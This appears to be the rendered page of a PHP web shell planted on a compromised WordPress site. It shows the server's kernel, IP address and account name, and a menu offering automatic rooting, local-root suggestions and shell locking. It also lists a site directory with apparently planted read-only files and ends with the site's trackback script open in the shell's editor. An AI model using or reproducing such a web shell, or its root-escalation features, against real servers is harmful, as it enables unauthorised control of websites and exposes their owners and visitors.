Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.sg /
articles /
Delete
Unzip
Name
Size
Permission
Date
Action
.wp-cli
[ DIR ]
drwxr-xr-x
2023-01-12 04:12
wp-admin
[ DIR ]
drwxr-xr-x
2011-10-16 11:05
wp-content
[ DIR ]
drwxr-xr-x
2012-03-04 07:00
wp-includes
[ DIR ]
drwxr-xr-x
2011-10-09 17:38
.htaccess
2
KB
-r--r--r--
2025-10-30 03:31
error_log
4.76
MB
-rw-r--r--
2014-10-22 15:23
favicon.ico
1.12
KB
-rw-r--r--
2011-10-16 10:44
index.php
397
B
-rw-r--r--
2008-05-25 12:33
license.txt
16.5
KB
-rw-r--r--
2011-06-08 10:18
postnews.php
5.74
KB
-r--r--r--
2025-10-30 03:31
readme.html
8.99
KB
-rw-r--r--
2011-07-12 10:24
sitemap.xml
3.31
KB
-rw-r--r--
2012-04-05 19:05
sitemap.xml.gz
869
B
-rw-r--r--
2012-04-05 19:05
wp-activate.php
4.24
KB
-rw-r--r--
2011-05-06 19:26
wp-app.php
39.3
KB
-rw-r--r--
2011-06-01 14:03
wp-atom.php
226
B
-rw-r--r--
2010-12-09 10:02
wp-blog-header.php
274
B
-rw-r--r--
2010-11-20 13:44
wp-comments-post.php
3.84
KB
-rw-r--r--
2010-12-09 10:02
wp-commentsrss2.php
244
B
-rw-r--r--
2010-12-09 10:02
wp-config-sample.php
3.1
KB
-rw-r--r--
2010-11-01 06:45
wp-config.php
3.39
KB
-rw-r--r--
2011-10-09 17:38
wp-cron.php
1.23
KB
-rw-r--r--
2010-03-16 20:39
wp-feed.php
246
B
-rw-r--r--
2010-12-09 10:02
wp-links-opml.php
1.95
KB
-rw-r--r--
2010-10-23 04:17
wp-load.php
2.47
KB
-rw-r--r--
2011-06-29 08:50
wp-login.php
26.95
KB
-rw-r--r--
2011-06-22 11:45
wp-mail.php
7.59
KB
-rw-r--r--
2010-05-25 18:42
wp-pass.php
494
B
-rw-r--r--
2010-12-09 10:02
wp-rdf.php
224
B
-rw-r--r--
2010-12-09 10:02
wp-register.php
334
B
-rw-r--r--
2010-12-09 10:02
wp-rss.php
224
B
-rw-r--r--
2010-12-09 10:02
wp-rss2.php
226
B
-rw-r--r--
2010-12-09 10:02
wp-settings.php
9.61
KB
-rw-r--r--
2011-06-29 08:50
wp-signup.php
18.21
KB
-rw-r--r--
2011-05-22 14:30
wp-trackback.php
3.62
KB
-rw-r--r--
2010-02-24 12:13
xmlrpc.php
3.19
KB
-rw-r--r--
2011-04-17 00:35
Save
Rename
<?php /** * Handle Trackbacks and Pingbacks sent to WordPress * * @package WordPress */ if (empty($wp)) { require_once('./wp-load.php'); wp( array( 'tb' => '1' ) ); } /** * trackback_response() - Respond with error or success XML message * * @param int|bool $error Whether there was an error * @param string $error_message Error message if an error occurred */ function trackback_response($error = 0, $error_message = '') { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ($error) { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>1</error>\n"; echo "<message>$error_message</message>\n"; echo "</response>"; die(); } else { echo '<?xml version="1.0" encoding="utf-8"?'.">\n"; echo "<response>\n"; echo "<error>0</error>\n"; echo "</response>"; } } // trackback is done by a POST $request_array = 'HTTP_POST_VARS'; if ( !isset($_GET['tb_id']) || !$_GET['tb_id'] ) { $tb_id = explode('/', $_SERVER['REQUEST_URI']); $tb_id = intval( $tb_id[ count($tb_id) - 1 ] ); } $tb_url = isset($_POST['url']) ? $_POST['url'] : ''; $charset = isset($_POST['charset']) ? $_POST['charset'] : ''; // These three are stripslashed here so that they can be properly escaped after mb_convert_encoding() $title = isset($_POST['title']) ? stripslashes($_POST['title']) : ''; $excerpt = isset($_POST['excerpt']) ? stripslashes($_POST['excerpt']) : ''; $blog_name = isset($_POST['blog_name']) ? stripslashes($_POST['blog_name']) : ''; if ($charset) $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) ); else $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS'; // No valid uses for UTF-7 if ( false !== strpos($charset, 'UTF-7') ) die; if ( function_exists('mb_convert_encoding') ) { // For international trackbacks $title = mb_convert_encoding($title, get_option('blog_charset'), $charset); $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset); $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset); } // Now that mb_convert_encoding() has been given a swing, we need to escape these three $title = $wpdb->escape($title); $excerpt = $wpdb->escape($excerpt); $blog_name = $wpdb->escape($blog_name); if ( is_single() || is_page() ) $tb_id = $posts[0]->ID; if ( !isset($tb_id) || !intval( $tb_id ) ) trackback_response(1, 'I really need an ID for this to work.'); if (empty($title) && empty($tb_url) && empty($blog_name)) { // If it doesn't look like a trackback at all... wp_redirect(get_permalink($tb_id)); exit; } if ( !empty($tb_url) && !empty($title) ) { header('Content-Type: text/xml; charset=' . get_option('blog_charset') ); if ( !pings_open($tb_id) ) trackback_response(1, 'Sorry, trackbacks are closed for this item.'); $title = wp_html_excerpt( $title, 250 ).'...'; $excerpt = wp_html_excerpt( $excerpt, 252 ).'...'; $comment_post_ID = (int) $tb_id; $comment_author = $blog_name; $comment_author_email = ''; $comment_author_url = $tb_url; $comment_content = "<strong>$title</strong>\n\n$excerpt"; $comment_type = 'trackback'; $dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) ); if ( $dupe ) trackback_response(1, 'We already have a ping from that URL for this post.'); $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type'); wp_new_comment($commentdata); do_action('trackback_post', $wpdb->insert_id); trackback_response(0); } ?>